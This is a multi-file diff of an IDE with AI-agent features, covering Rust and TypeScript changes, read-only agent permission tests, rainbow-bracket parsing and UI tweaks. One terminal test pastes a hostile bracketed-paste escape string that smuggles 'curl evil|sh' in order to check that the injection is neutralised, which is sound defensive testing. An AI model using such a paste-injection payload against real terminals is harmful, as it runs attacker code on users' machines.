wait_for(&mgr, &source.id, AgentStatus::NeedsInput).await;
|
||||
let pending = mgr
|
||||
.entries(&source.id, None)
|
||||
.unwrap()
|
||||
.iter()
|
||||
.find_map(|e| match e {
|
||||
AgentEntry::Permission { id, chosen: None, .. } => Some(*id),
|
||||
_ => None,
|
||||
})
|
||||
.unwrap_or_else(|| panic!("no pending permission request"));
|
||||
mgr.respond(&source.id, pending, Some("no".into())).unwrap();
|
||||
wait_for(&mgr, &source.id, AgentStatus::Ready).await;
|
||||
|
||||
let task = mgr
|
||||
.create_ephemeral(
|
||||
NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("What changed in this file?"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
},
|
||||
&source.id,
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(mgr.task(&task.id).unwrap().state.lock().task.capabilities.read_only);
|
||||
|
||||
let answer = mgr
|
||||
.task(&task.id)
|
||||
.unwrap()
|
||||
.ask_permission(&json!({
|
||||
"sessionId": "c1",
|
||||
"toolCall": {"toolCallId": "c1-t2", "title": "Edit main.rs", "kind": "edit"},
|
||||
"options": [
|
||||
{"optionId": "yes", "name": "Allow", "kind": "allow_once"},
|
||||
{"optionId": "no", "name": "Reject", "kind": "reject_once"}
|
||||
]
|
||||
}))
|
||||
.pointer("/outcome/optionId")
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("none")
|
||||
.to_owned();
|
||||
assert_eq!(answer, "no", "the write request is denied");
|
||||
let entries = mgr.entries(&task.id, None).unwrap();
|
||||
assert!(
|
||||
entries
|
||||
.iter()
|
||||
.any(|e| matches!(e, AgentEntry::Permission { chosen: Some(chosen), .. } if chosen.contains("read-only"))),
|
||||
"{entries:?}"
|
||||
);
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
fn attention_reasons(events: &[AgentEvent]) -> Vec<AgentAttentionReason> {
|
||||
events
|
||||
.iter()
|
||||
|
||||
@@ -262,18 +262,6 @@ pub async fn fork(host: &Host, window: &str, task: String, turns: Option<u32>) -
|
||||
host.project(window)?.agents.fork(&task, turns).await
|
||||
}
|
||||
|
||||
/// Creates a temporary side conversation of `source`: lives in memory only, never
|
||||
/// persisted, not listed.
|
||||
pub async fn create_ephemeral(
|
||||
host: &Host,
|
||||
window: &str,
|
||||
request: NewAgentTask,
|
||||
source: String,
|
||||
) -> IdeResult<AgentTask> {
|
||||
host.require_trust(window)?;
|
||||
host.project(window)?.agents.create_ephemeral(request, &source).await
|
||||
}
|
||||
|
||||
/// Drops the task's turns after its first `turns`; returns the message of the first dropped one.
|
||||
pub async fn rollback(host: &Host, window: &str, task: String, turns: u32) -> IdeResult<Option<AgentPrompt>> {
|
||||
host.require_trust(window)?;
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
import { expect, ipcCalls, stubDesktop, test } from "./fixtures";
|
||||
|
||||
const ROOT = "/dev/acme-api";
|
||||
const FILE = `${ROOT}/src/new-name.ts`;
|
||||
const REVISION = "a".repeat(40);
|
||||
|
||||
test("File History opens its revision and compares only that file with the working copy", async ({
|
||||
workbench: page,
|
||||
}) => {
|
||||
await stubDesktop(page);
|
||||
await page.evaluate(
|
||||
async ({ root, path, revision }) => {
|
||||
const h = window.__ipc.handlers;
|
||||
h.vcs_roots = () => [{ root, head: "main", headCommit: revision, operation: null }];
|
||||
h.vcs_branch_info = () => ({
|
||||
head: "main",
|
||||
headCommit: revision,
|
||||
upstream: null,
|
||||
ahead: 0,
|
||||
behind: 0,
|
||||
operation: null,
|
||||
});
|
||||
h.vcs_branches = () => [];
|
||||
h.vcs_status = () => [];
|
||||
h.vcs_log = ({ query }) =>
|
||||
(query as { path?: string }).path
|
||||
? [
|
||||
{
|
||||
id: revision,
|
||||
shortId: revision.slice(0, 8),
|
||||
parents: ["b".repeat(40)],
|
||||
refs: [],
|
||||
author: "Author",
|
||||
email: "[email protected]",
|
||||
timeMs: 1,
|
||||
summary: "Rename historical file",
|
||||
message: "Rename historical file",
|
||||
historyPath: "src/old-name.ts",
|
||||
},
|
||||
]
|
||||
: [];
|
||||
h.vcs_log_refs = () => ({});
|
||||
h.vcs_log_users = () => ["Author <[email protected]>"];
|
||||
h.vcs_log_details_batch = () => [];
|
||||
h.vcs_commit_files = () => [];
|
||||
h.vcs_file_at = ({ path: filePath }) => `historical contents of ${String(filePath)}\n`;
|
||||
h.fs_probe = () => ({ size: 32, binary: false, tooLarge: false });
|
||||
|
||||
const storeModule = "/src/features/vcs/store.ts";
|
||||
const { useVcs } = await import(/* @vite-ignore */ storeModule);
|
||||
useVcs.setState({
|
||||
available: true,
|
||||
root,
|
||||
repo: root,
|
||||
roots: [root],
|
||||
branchesLoaded: true,
|
||||
statusLoaded: true,
|
||||
});
|
||||
const contextModule = "/src/platform/context.ts";
|
||||
const { setContext } = await import(/* @vite-ignore */ contextModule);
|
||||
setContext("vcsAvailable", true);
|
||||
const actionsModule = "/src/platform/actions.ts";
|
||||
const { executeAction } = await import(/* @vite-ignore */ actionsModule);
|
||||
await executeAction("vcs.showHistory", { path });
|
||||
},
|
||||
{ root: ROOT, path: FILE, revision: REVISION },
|
||||
);
|
||||
|
||||
const commits = page.getByRole("listbox", { name: "Commits" });
|
||||
const row = commits.getByRole("option", { name: /Rename historical file/ });
|
||||
await expect(row).toBeVisible();
|
||||
|
||||
await row.click({ button: "right" });
|
||||
const menu = page.getByRole("menu", { name: "Context menu" });
|
||||
await expect(menu.getByRole("menuitem", { name: "Show File at Revision" })).toBeVisible();
|
||||
await menu.getByRole("menuitem", { name: "Compare with Local" }).click();
|
||||
|
||||
await expect
|
||||
.poll(async () => ipcCalls(page, "vcs_file_at"))
|
||||
.toContainEqual({ path: `${ROOT}/src/old-name.ts`, rev: REVISION });
|
||||
// The working copy side is the file itself (an editable document), not the historical path.
|
||||
await expect.poll(async () => ipcCalls(page, "vcs_file_mode")).toContainEqual({ path: FILE, rev: "WT" });
|
||||
await expect(page.getByText(`historical contents of ${ROOT}/src/old-name.ts`).first()).toBeVisible();
|
||||
|
||||
await row.click({ button: "right" });
|
||||
await page
|
||||
.getByRole("menu", { name: "Context menu" })
|
||||
.getByRole("menuitem", { name: "Show File at Revision" })
|
||||
.click();
|
||||
await expect
|
||||
.poll(async () => ipcCalls(page, "vcs_file_at"))
|
||||
.toContainEqual({ path: `${ROOT}/src/old-name.ts`, rev: REVISION });
|
||||
});
|
||||
@@ -0,0 +1,60 @@
|
||||
import { expect, test } from "@playwright/test";
|
||||
|
||||
test("a pasted ESC cannot end bracketed paste early", async ({ page }) => {
|
||||
await page.goto("/");
|
||||
const observed = await page.evaluate(async () => {
|
||||
const ipcPath = "/src/platform/ipc.ts";
|
||||
const sessionPath = "/src/features/terminal/session.ts";
|
||||
const { commands } = await import(ipcPath);
|
||||
const { TerminalSession } = await import(sessionPath);
|
||||
Object.defineProperty(window, "__TAURI_INTERNALS__", {
|
||||
configurable: true,
|
||||
value: { transformCallback: () => 1 },
|
||||
});
|
||||
const writes: string[] = [];
|
||||
commands.termSpawn = async () => ({ status: "ok", data: { id: 839, title: "bash", pid: 1 } });
|
||||
commands.clipboardFileList = async () => ({ status: "ok", data: [] });
|
||||
commands.termWrite = async (_id: number, data: string) => writes.push(data);
|
||||
commands.termResize = async () => undefined;
|
||||
commands.termKill = async () => undefined;
|
||||
const container = document.createElement("div");
|
||||
container.style.cssText = "position:fixed;inset:0;z-index:99999";
|
||||
document.body.append(container);
|
||||
const session = new TerminalSession({ key: "paste-escape", cwd: "/tmp", onChange() {}, onFocus() {} });
|
||||
const paste = async (text: string) => {
|
||||
const before = writes.length;
|
||||
const transfer = new DataTransfer();
|
||||
transfer.setData("text/plain", text);
|
||||
const event = new ClipboardEvent("paste", { bubbles: true, cancelable: true, clipboardData: transfer });
|
||||
container.querySelector("textarea")!.dispatchEvent(event);
|
||||
const deadline = Date.now() + 5000;
|
||||
while (writes.length === before && Date.now() < deadline) {
|
||||
await new Promise((resolve) => requestAnimationFrame(resolve));
|
||||
}
|
||||
return { claimed: event.defaultPrevented, written: writes.slice(before) };
|
||||
};
|
||||
try {
|
||||
session.attach(container);
|
||||
await session.start();
|
||||
// xterm opens on a later frame, once the pane has a size.
|
||||
const openDeadline = Date.now() + 5000;
|
||||
while (!container.querySelector("textarea") && Date.now() < openDeadline) {
|
||||
await new Promise((resolve) => requestAnimationFrame(resolve));
|
||||
}
|
||||
// The shell asks for bracketed paste, as bash and zsh do at the prompt.
|
||||
await new Promise<void>((resolve) => session.term.write("\x1b[?2004h", resolve));
|
||||
return {
|
||||
hostile: await paste("README\x1b[201~;curl evil|sh;#\r"),
|
||||
plain: await paste("ls -la"),
|
||||
};
|
||||
} finally {
|
||||
session.dispose();
|
||||
container.remove();
|
||||
}
|
||||
});
|
||||
expect(observed.hostile).toEqual({
|
||||
claimed: true,
|
||||
written: ["\x1b[200~README\u241b[201~;curl evil|sh;#\r\x1b[201~"],
|
||||
});
|
||||
expect(observed.plain).toEqual({ claimed: false, written: ["\x1b[200~ls -la\x1b[201~"] });
|
||||
});
|
||||
@@ -344,19 +344,6 @@ pub async fn agent_fork(
|
||||
agent::fork(&state.host, window.label(), task, turns).await
|
||||
}
|
||||
|
||||
/// Creates a temporary side conversation of `source`: lives in memory only, never
|
||||
/// persisted, not listed, and its session starts with the first message sent to it.
|
||||
#[tauri::command]
|
||||
#[specta::specta]
|
||||
pub async fn agent_create_ephemeral(
|
||||
window: Window,
|
||||
state: State<'_, AppState>,
|
||||
request: NewAgentTask,
|
||||
source: String,
|
||||
) -> IdeResult<AgentTask> {
|
||||
agent::create_ephemeral(&state.host, window.label(), request, source).await
|
||||
}
|
||||
|
||||
/// Drops the task's turns after its first `turns`; returns the message of the first dropped one.
|
||||
#[tauri::command]
|
||||
#[specta::specta]
|
||||
|
||||
@@ -155,7 +155,6 @@ pub fn builder() -> tauri_specta::Builder<tauri::Wry> {
|
||||
agent::agent_send_queued_now,
|
||||
agent::agent_set_config,
|
||||
agent::agent_fork,
|
||||
agent::agent_create_ephemeral,
|
||||
agent::agent_rollback,
|
||||
agent::agent_probe,
|
||||
agent::agent_cancel,
|
||||
|
||||
@@ -7,7 +7,6 @@ agent_cancel always project_host bin
|
||||
agent_changes trusted project_host bindings async
|
||||
agent_commands always project_host bindings async
|
||||
agent_create trusted project_host bindings async
|
||||
agent_create_ephemeral trusted desktop bindings async
|
||||
agent_custom_import trusted desktop bindings sync
|
||||
agent_custom_remove trusted desktop bindings sync
|
||||
agent_custom_save trusted desktop bindings sync
|
||||
|
||||
@@ -225,11 +225,6 @@ export const commands = {
|
||||
agentSetConfig: (task: string, option: string, value: string) => typedError<null, IdeError>(__TAURI_INVOKE("agent_set_config", { task, option, value })),
|
||||
/** Copies the task's conversation into a new task, up to its first `turns` turns (all when `None`). */
|
||||
agentFork: (task: string, turns: number | null) => typedError<AgentTask_Serialize, IdeError>(__TAURI_INVOKE("agent_fork", { task, turns })),
|
||||
/**
|
||||
* Creates a temporary side conversation of `source`: lives in memory only, never
|
||||
* persisted, not listed, and its session starts with the first message sent to it.
|
||||
*/
|
||||
agentCreateEphemeral: (request: NewAgentTask, source: string) => typedError<AgentTask_Serialize, IdeError>(__TAURI_INVOKE("agent_create_ephemeral", { request, source })),
|
||||
/** Drops the task's turns after its first `turns`; returns the message of the first dropped one. */
|
||||
agentRollback: (task: string, turns: number) => typedError<{
|
||||
text: string,
|
||||
@@ -1971,11 +1966,6 @@ export type AgentCapabilities = {
|
||||
steer?: boolean,
|
||||
/** It reports its background tasks and stops them one by one. */
|
||||
backgroundTasks?: boolean,
|
||||
/**
|
||||
* The task runs read-only: it asks before anything, and requests that would change
|
||||
* the project are denied (a temporary side conversation).
|
||||
*/
|
||||
readOnly?: boolean,
|
||||
};
|
||||
|
||||
/**
|
||||
|
||||
@@ -3,7 +3,7 @@ import { EditorState, type Extension } from "@codemirror/state";
|
||||
import { EditorView } from "@codemirror/view";
|
||||
import { completedSyntaxState } from "@/test/syntax";
|
||||
import { languages } from "@codemirror/language-data";
|
||||
import { BracketScanner, bracketClass } from "./rainbowBrackets";
|
||||
import { BracketScanner, bracketClass, rainbowBrackets } from "./rainbowBrackets";
|
||||
import { heavyExtension } from "./setup";
|
||||
import type { EditorSettings } from "@/platform/ipc";
|
||||
|
||||
@@ -17,7 +17,18 @@ function marks(doc: string, ext: Extension = [], from = 0, to = doc.length, scan
|
||||
return scanner.marks(state, from, to).map((m) => `${doc[m.from]}${m.depth < 0 ? "!" : m.depth}`);
|
||||
}
|
||||
|
||||
const javascript = () => languages.find((l) => l.name === "JavaScript")!.load();
|
||||
const load = (name: string) => languages.find((l) => l.name === name)!.load();
|
||||
const javascript = () => load("JavaScript");
|
||||
|
||||
/** Classes of the coloured brackets an editor renders with `extensions`. */
|
||||
function rendered(doc: string, extensions: Extension) {
|
||||
const view = new EditorView({ state: EditorState.create({ doc, extensions }), parent: document.body });
|
||||
const classes = [...view.contentDOM.querySelectorAll("[class*=cm-rainbow-bracket]")].map(
|
||||
(e) => `${e.textContent}${e.className.replace("cm-rainbow-bracket-", "")}`,
|
||||
);
|
||||
view.destroy();
|
||||
return classes;
|
||||
}
|
||||
|
||||
describe("rainbow brackets", () => {
|
||||
it("colours brackets by nesting depth, cycling through the palette", () => {
|
||||
@@ -51,6 +62,125 @@ describe("rainbow brackets", () => {
|
||||
expect(marks(doc, await javascript())).toEqual(["(0", ")0", "(0", "[1", "{2", "}2", "]1", ")0"]);
|
||||
});
|
||||
|
||||
it.each(["JavaScript", "TypeScript"])("colours %s template expressions but skips literal text", async (name) => {
|
||||
const doc = 'f(`literal ([ ${g(["}", /[)]/]) /* ] */} tail ) ${h()}`)';
|
||||
expect(marks(doc, await load(name))).toEqual([
|
||||
"(0",
|
||||
"{1",
|
||||
"(2",
|
||||
"[3",
|
||||
"]3",
|
||||
")2",
|
||||
"}1",
|
||||
"{1",
|
||||
"(2",
|
||||
")2",
|
||||
"}1",
|
||||
")0",
|
||||
]);
|
||||
});
|
||||
|
||||
it("handles nested templates and escaped interpolation delimiters", async () => {
|
||||
const doc = "f(`\\${literal(} ${g(`text ) ${h([1])}`)} tail [`); after()";
|
||||
expect(marks(doc, await javascript())).toEqual([
|
||||
"(0",
|
||||
"{1",
|
||||
"(2",
|
||||
"{3",
|
||||
"(4",
|
||||
"[5",
|
||||
"]5",
|
||||
")4",
|
||||
"}3",
|
||||
")2",
|
||||
"}1",
|
||||
")0",
|
||||
"(0",
|
||||
")0",
|
||||
]);
|
||||
});
|
||||
|
||||
it("colours Python replacements and nested format expressions but skips literal braces", async () => {
|
||||
const doc = "s = f\"literal ([ {{escaped}} {f([')']):)>{width()}} tail ]\"; g()";
|
||||
expect(marks(doc, await load("Python"))).toEqual([
|
||||
"{0",
|
||||
"(1",
|
||||
"[2",
|
||||
"]2",
|
||||
")1",
|
||||
"{1",
|
||||
"(2",
|
||||
")2",
|
||||
"}1",
|
||||
"}0",
|
||||
"(0",
|
||||
")0",
|
||||
]);
|
||||
});
|
||||
|
||||
it("colours PHP interpolation without colouring its enclosing string", async () => {
|
||||
expect(marks('<?php $s = "literal ( {$a[0]} tail ]"; f();', await load("PHP"))).toEqual([
|
||||
"{0",
|
||||
"[1",
|
||||
"]1",
|
||||
"}0",
|
||||
"(0",
|
||||
")0",
|
||||
]);
|
||||
});
|
||||
|
||||
it.each([
|
||||
["JavaScript", 'f("(\\\"[", \'{\', `)`)'],
|
||||
["Python", 'f("(", \']\', r"{", """multi\n)""")'],
|
||||
["Rust", 'f(\'(\', "[", r#"}"#)'],
|
||||
["Java", 'f(\'(\', "[", """\n}\n""")'],
|
||||
])("keeps %s string and character contents uncoloured", async (name, doc) => {
|
||||
expect(marks(doc, await load(name))).toEqual(["(0", ")0"]);
|
||||
});
|
||||
|
||||
it.each(["HTML", "JSX"])("skips %s attribute values and keeps embedded code", async (name) => {
|
||||
const doc =
|
||||
name === "HTML"
|
||||
? '<div a="(" b=] c=\'{\'><!-- ) --><script>f("(", [1])</script></div>'
|
||||
: 'const x = <div a="(" b=\']\' c={f("}", [1])}>{g()}</div>';
|
||||
expect(marks(doc, await load(name))).toEqual(
|
||||
name === "HTML" ? ["(0", "[1", "]1", ")0"] : ["{0", "(1", "[2", "]2", ")1", "}0", "{0", "(1", ")1", "}0"],
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps interpolation depth across chunks, viewports and edits", async () => {
|
||||
const doc = "f(`" + "literal ([ ".repeat(500) + "${g([1])}" + " tail ) ".repeat(700) + "`); h()";
|
||||
const ext = await javascript();
|
||||
const scanner = new BracketScanner();
|
||||
const from = doc.indexOf("[1]");
|
||||
expect(marks(doc, ext, from, doc.length, scanner)).toEqual(["[3", "]3", ")2", "}1", ")0", "(0", ")0"]);
|
||||
expect(marks(doc, ext, from + 2, doc.length, scanner)).toEqual(["]3", ")2", "}1", ")0", "(0", ")0"]);
|
||||
let state = completedSyntaxState(EditorState.create({ doc, extensions: ext }));
|
||||
const edit = doc.indexOf("${");
|
||||
state = completedSyntaxState(state.update({ changes: { from: edit, insert: "\\" } }).state);
|
||||
scanner.invalidate(edit);
|
||||
expect(
|
||||
scanner.marks(state, from + 1, state.doc.length).map((m) => `${state.sliceDoc(m.from, m.from + 1)}${m.depth}`),
|
||||
).toEqual([")0", "(0", ")0"]);
|
||||
});
|
||||
|
||||
it("renders only interpolation code and leaves HTML attributes undecorated", async () => {
|
||||
expect(rendered('`text ( ${f("}", [1])} tail ]`', [await javascript(), rainbowBrackets()])).toEqual([
|
||||
"{1",
|
||||
"(2",
|
||||
"[3",
|
||||
"]3",
|
||||
")2",
|
||||
"}1",
|
||||
]);
|
||||
expect(rendered('<div title="("><script>f([1])</script></div>', [await load("HTML"), rainbowBrackets()])).toEqual([
|
||||
"(1",
|
||||
"[2",
|
||||
"]2",
|
||||
")1",
|
||||
]);
|
||||
});
|
||||
|
||||
it("knows the depth at a viewport far into the document and after edits", () => {
|
||||
const body = "x(y)\n".repeat(5000);
|
||||
const doc = `{\n${body}[z]\n}`;
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
/**
|
||||
* Rainbow brackets (VS Code's bracket pair colorization): `()`, `[]`, `{}`
|
||||
* coloured by nesting depth (`--syn-bracket-<n>`, cycling), unmatched ones in
|
||||
* the error colour. Strings and comments are skipped: with the syntax tree
|
||||
* when the language has one, else lexically with the language's comment
|
||||
* tokens and quotes.
|
||||
* the error colour. Strings, comments and markup literals are skipped: with
|
||||
* the syntax tree when the language has one, else lexically with the
|
||||
* language's comment tokens and quotes. Interpolated expressions stay
|
||||
* visible as holes inside those literals.
|
||||
*
|
||||
* Only the viewport is decorated. The nesting state at its start comes from
|
||||
* checkpoints saved every few KB while scanning, so scrolling and typing
|
||||
@@ -57,7 +58,9 @@ interface CommentTokens {
|
||||
block?: { open: string; close: string };
|
||||
}
|
||||
|
||||
const SKIP_NODE = /string|comment|char|rune|regexp|textblock|docstring|heredoc/i;
|
||||
const SKIP_NODE =
|
||||
/string|comment|char|rune|regexp|textblock|docstring|heredoc|attributevalue|cdata|doctype|processinginst|^(FormatSpec|Text|JSXText)$/i;
|
||||
const INTERPOLATION_NODE = /^(Interpolation|FormatReplacement)$/;
|
||||
const skipCache = new WeakMap<NodeType, boolean>();
|
||||
function skipsNode(type: NodeType): boolean {
|
||||
let v = skipCache.get(type);
|
||||
@@ -65,6 +68,31 @@ function skipsNode(type: NodeType): boolean {
|
||||
return v;
|
||||
}
|
||||
|
||||
/** Literal ranges, with holes for interpolated code (which may contain more literals). */
|
||||
function literalRanges(tree: Tree, from: number, to: number): number[] {
|
||||
const ranges: number[] = [];
|
||||
const parents: boolean[] = [];
|
||||
let skipping = false;
|
||||
let start = from;
|
||||
const setSkipping = (next: boolean, pos: number) => {
|
||||
if (next === skipping) return;
|
||||
if (next) start = Math.max(from, pos);
|
||||
else if (start < Math.min(to, pos)) ranges.push(start - from, Math.min(to, pos) - from);
|
||||
skipping = next;
|
||||
};
|
||||
tree.iterate({
|
||||
from,
|
||||
to,
|
||||
enter: (n) => {
|
||||
parents.push(skipping);
|
||||
if (skipsNode(n.type)) setSkipping(true, n.from);
|
||||
else if (INTERPOLATION_NODE.test(n.name)) setSkipping(false, n.from);
|
||||
},
|
||||
leave: (n) => setSkipping(parents.pop()!, n.to),
|
||||
});
|
||||
return ranges;
|
||||
}
|
||||
|
||||
/**
|
||||
* Bracket scanner of one editor: keeps the checkpoints between rebuilds and
|
||||
* drops the ones after an edit (`invalidate`).
|
||||
@@ -153,17 +181,7 @@ export class BracketScanner {
|
||||
const base = s.pos;
|
||||
const text = doc.sliceString(base, Math.min(doc.length, chunkEnd + TOKEN_SLACK));
|
||||
const stop = chunkEnd - base;
|
||||
const skips: number[] = [];
|
||||
if (tree)
|
||||
tree.iterate({
|
||||
from: base,
|
||||
to: chunkEnd,
|
||||
enter: (n) => {
|
||||
if (!skipsNode(n.type)) return;
|
||||
skips.push(n.from - base, n.to - base);
|
||||
return false;
|
||||
},
|
||||
});
|
||||
const skips = tree ? literalRanges(tree, base, chunkEnd) : [];
|
||||
let k = 0;
|
||||
let i = 0;
|
||||
while (i < stop) {
|
||||
|
||||
@@ -1978,13 +1978,6 @@ export class EditorController implements SlotHost {
|
||||
return useTabs.getState().panes[paneId]?.tabs.find((t) => t.id === tabId)?.input ?? null;
|
||||
}
|
||||
|
||||
/** The pane showing a tab with this input key, if any (for anchoring "open beside it"). */
|
||||
paneOf(key: string): string | null {
|
||||
for (const [paneId, pane] of Object.entries(useTabs.getState().panes))
|
||||
if (pane.tabs.some((t) => t.input.key === key)) return paneId;
|
||||
return null;
|
||||
}
|
||||
|
||||
closePath(path: string): Promise<boolean> {
|
||||
return this.removeGuarded((s) => {
|
||||
const keys = new Set<string>();
|
||||
|
||||
@@ -56,7 +56,6 @@ export function activate(): void | (() => void) {
|
||||
openPaths: () => ctrl.openPaths(),
|
||||
openTabs: () => ctrl.openTabs(),
|
||||
tabInput: (paneId, tabId) => ctrl.tabInput(paneId, tabId),
|
||||
paneOf: (key) => ctrl.paneOf(key),
|
||||
activeInput: () => ctrl.activeInput(),
|
||||
onActiveInputChange: (fn) => ctrl.onActiveInputChange(fn),
|
||||
closePath: (path) => ctrl.closePath(path),
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
import { afterEach, expect, it } from "vitest";
|
||||
import { EditorState } from "@codemirror/state";
|
||||
import { EditorView } from "@codemirror/view";
|
||||
import { lspTheme } from "./theme";
|
||||
|
||||
let view: EditorView | null = null;
|
||||
afterEach(() => {
|
||||
view?.destroy();
|
||||
view = null;
|
||||
});
|
||||
|
||||
it("draws the ⌘-hover info as a popup in a view without the editor theme", () => {
|
||||
// Diff viewers declare a dark theme and leave out the editor's `.cm-tooltip` rule.
|
||||
view = new EditorView({
|
||||
state: EditorState.create({ extensions: [EditorView.theme({}, { dark: true }), lspTheme] }),
|
||||
parent: document.body,
|
||||
});
|
||||
const info = document.createElement("div");
|
||||
info.className = "cm-tooltip cm-lsp-hover cm-lsp-nav-info";
|
||||
view.dom.appendChild(info);
|
||||
const style = getComputedStyle(info);
|
||||
expect(style.backgroundColor).toBe("var(--bg-popup)");
|
||||
expect(style.color).toBe("var(--fg)");
|
||||
expect(style.width).toBe("max-content");
|
||||
expect(style.borderRadius).toBe("var(--radius-popup-large)");
|
||||
expect(style.overflow).toBe("visible");
|
||||
});
|
||||
@@ -836,6 +836,7 @@ const linkField = StateField.define<LinkState | null>({
|
||||
return {
|
||||
pos: v.from,
|
||||
above: true,
|
||||
arrow: true,
|
||||
create: (view) => {
|
||||
const dom = document.createElement("div");
|
||||
dom.className = "cm-lsp-hover cm-lsp-nav-info";
|
||||
|
||||
@@ -328,7 +328,26 @@ export const lspTheme = EditorView.theme({
|
||||
backgroundImage:
|
||||
"linear-gradient(to right, transparent var(--lsp-occurrence-from), var(--lsp-occurrence-bg) var(--lsp-occurrence-from))",
|
||||
},
|
||||
".cm-lsp-nav-info": { padding: "4px 8px" },
|
||||
// IDEA's ⌘-hover hint: a rounded popup pointing at the word. Styled here in full, as diff
|
||||
// viewers lack the editor theme and would show CodeMirror's default tooltip. A few lines at
|
||||
// most, so no scrolling, which would clip the arrow.
|
||||
".cm-tooltip.cm-lsp-nav-info": {
|
||||
...tooltipSurface,
|
||||
borderRadius: "var(--radius-popup-large)",
|
||||
width: "max-content",
|
||||
maxWidth: "100%",
|
||||
maxHeight: "none",
|
||||
overflow: "visible",
|
||||
},
|
||||
".cm-lsp-nav-info .cm-lsp-code": { overflowWrap: "anywhere" },
|
||||
".cm-tooltip.cm-lsp-nav-info .cm-tooltip-arrow:before": {
|
||||
borderTopColor: "var(--border-popup)",
|
||||
borderBottomColor: "var(--border-popup)",
|
||||
},
|
||||
".cm-tooltip.cm-lsp-nav-info .cm-tooltip-arrow:after": {
|
||||
borderTopColor: "var(--bg-popup)",
|
||||
borderBottomColor: "var(--bg-popup)",
|
||||
},
|
||||
// Chooser highlight (tempHighlight.ts): the expression / occurrences a choice would take.
|
||||
".cm-lsp-chooser-highlight": { backgroundColor: "var(--bg-text-search-result)" },
|
||||
|
||||
|
||||
@@ -302,7 +302,8 @@ export async function ancestryResolution(
|
||||
cls: ClassInheritance,
|
||||
depth = 8,
|
||||
): Promise<AncestryResolution> {
|
||||
const seen = new Set<string>([declarationKey(cls)]);
|
||||
// `cls` itself is not pre-seen: a cycle lists it once as its own ancestor.
|
||||
const seen = new Set<string>();
|
||||
const out: AncestorNode[] = [];
|
||||
let firstUnresolvedDepth = Infinity;
|
||||
let level: ClassInheritance[] = [cls];
|
||||
|
||||
@@ -167,7 +167,6 @@ export function AgentsView() {
|
||||
const loaded = useAgents((s) => s.loaded);
|
||||
const error = useAgents((s) => s.error);
|
||||
const tasks = useAgents((s) => s.tasks);
|
||||
const ephemeral = useAgents((s) => s.ephemeral);
|
||||
const unread = useAgents((s) => s.unread);
|
||||
const providers = useAgents((s) => s.providers);
|
||||
const docked = useAgents((s) => s.docked);
|
||||
@@ -215,9 +214,7 @@ export function AgentsView() {
|
||||
return found;
|
||||
}, [tasks, query]);
|
||||
const roots = useMemo<Node[]>(() => {
|
||||
// Side conversations live beside the conversation they forked, never in this list.
|
||||
const listed = ephemeral.size ? new Map([...tasks].filter(([id]) => !ephemeral.has(id))) : tasks;
|
||||
const all = [...listed.values()].filter((t) => !matches || matches.has(t.id));
|
||||
const all = [...tasks.values()].filter((t) => !matches || matches.has(t.id));
|
||||
const pinned = pinnedMembers(all, organize);
|
||||
return [
|
||||
...(pinned.length ? [{ kind: "pinned", tasks: pinned } as Node] : []),
|
||||
@@ -227,7 +224,7 @@ export function AgentsView() {
|
||||
}),
|
||||
...groupTasks(ungroupedMembers(all, organize)).map((group): Node => ({ kind: "group", group })),
|
||||
];
|
||||
}, [tasks, organize, matches, ephemeral]);
|
||||
}, [tasks, organize, matches]);
|
||||
const expanded = useMemo(
|
||||
() => new Set(roots.map(nodeKey).filter((k) => matches || !collapsed.has(k))),
|
||||
[roots, collapsed, matches],
|
||||
|
||||
@@ -1124,14 +1124,14 @@ export function Composer(props: ComposerProps) {
|
||||
<span className={styles.attachmentName}>{basename(suggested.rel)}</span>
|
||||
<span className={styles.suggestionHint}>{tx("Current File")}</span>
|
||||
{/* The chip is the IDE context switch: off here, back on from the dashed chip. */}
|
||||
<button
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.removeChip}
|
||||
aria-label={tx("Don't Add the Current File")}
|
||||
onClick={() => setIdeContext(false)}
|
||||
>
|
||||
<Icon name="close" size={10} />
|
||||
</button>
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
</span>
|
||||
)}
|
||||
{suggested && !ideContext && (
|
||||
@@ -1151,7 +1151,7 @@ export function Composer(props: ComposerProps) {
|
||||
<span key={file.path} className={styles.attachment} title={file.path}>
|
||||
<Icon name={fileIconName(file.rel, file.path)} size={14} />
|
||||
<span className={styles.attachmentName}>{file.rel}</span>
|
||||
<button
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.removeChip}
|
||||
aria-label={tx("Remove File")}
|
||||
@@ -1160,9 +1160,9 @@ export function Composer(props: ComposerProps) {
|
||||
files: composerDraft(id).files.filter((f) => f.path !== file.path),
|
||||
})
|
||||
}
|
||||
>
|
||||
<Icon name="close" size={10} />
|
||||
</button>
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
</span>
|
||||
))}
|
||||
{images.map((img, i) => (
|
||||
@@ -1170,7 +1170,7 @@ export function Composer(props: ComposerProps) {
|
||||
<button type="button" className={styles.previewImage} onClick={() => setPreview(img)}>
|
||||
<img src={imageSrc(img)} alt={img.name ?? tx("Image")} />
|
||||
</button>
|
||||
<button
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.removeImage}
|
||||
aria-label={tx("Remove Image")}
|
||||
@@ -1179,9 +1179,9 @@ export function Composer(props: ComposerProps) {
|
||||
images: images.filter((_, j) => j !== i),
|
||||
})
|
||||
}
|
||||
>
|
||||
<Icon name="close" size={10} />
|
||||
</button>
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
</span>
|
||||
))}
|
||||
<ImagePreview image={preview} onClose={() => setPreview(null)} />
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
/* Over a conversation selection: quote it into the composer or fork a side conversation from it. */
|
||||
.toolbar {
|
||||
position: fixed;
|
||||
z-index: 3;
|
||||
display: flex;
|
||||
padding: 2px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-control);
|
||||
background: var(--bg-popup);
|
||||
box-shadow: var(--shadow-popup);
|
||||
